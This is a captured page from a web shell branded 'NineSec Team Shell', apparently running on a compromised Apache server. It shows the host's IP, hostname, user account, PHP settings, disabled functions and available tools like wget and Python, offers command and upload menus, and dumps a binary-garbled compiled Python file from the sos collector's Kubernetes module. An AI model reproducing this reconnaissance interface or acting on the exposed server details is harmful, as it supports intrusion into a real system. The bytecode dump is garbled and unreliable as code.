NineSec Team Shell
Server IP : 184.107.3.203  /  Your IP : 216.73.216.51
Web Server : Apache
System : Linux dedicated2.avenfashion.com.ph 4.18.0-553.40.1.el8_10.x86_64 #1 SMP Mon Feb 10 12:11:18 EST 2025 x86_64
User : adminteladeoro ( 1015)
PHP Version : 8.2.28
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /lib/python3.6/site-packages/sos/collector/clusters/__pycache__/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //lib/python3.6/site-packages/sos/collector/clusters/__pycache__/kubernetes.cpython-36.opt-1.pyc
3

~�g@�@s,ddlmZddlmZGdd�de�ZdS)�)�quote)�Clusterc@s:eZdZdZdZdZdgZddiZdZddgZ	dd
�Z
dS)�
kubernetesz�
    The kuberentes cluster profile is intended to be used on kubernetes
    clusters built from the upstream/source kubernetes (k8s) project. It is
    not intended for use with other projects or platforms that are built ontop
    of kubernetes.
    zCommunity Kubernetes�kubernetes-masterzkubernetes.allZonZkubectl�label��-Filter node list to those with matching label�role�,Filter node list to those with matching rolecCs�|jd7_|jd�r8|jdt|jd���d�7_|j|j�}|ddkr�g}dd�|jd	�jd
�D�}xR|dj�dd�D]:}|j�}|s�|j|d�q�|d
|kr�|j|d�q�W|Std��dS)Nz
 get nodesrz -l � ZstatusrcSsg|]}|r|�qS�r)�.0�xrr� /usr/lib/python3.6/kubernetes.py�
<listcomp>)sz(kubernetes.get_nodes.<locals>.<listcomp>r	�,�output��z-Node enumeration did not return usable output)�cmdZ
get_optionrZexec_primary_cmd�split�
splitlines�append�	Exception)�self�resZnodesZrolesZnodelnZnoderrr�	get_nodes"s
 zkubernetes.get_nodesN)r)rrr)r	rr
)�__name__�
__module__�__qualname__�__doc__Zcluster_nameZpackagesZsos_pluginsZsos_plugin_optionsrZoption_listrrrrrrsrN)ZshlexrZsos.collector.clustersrrrrrr�<module>s

NineSec Team - 2022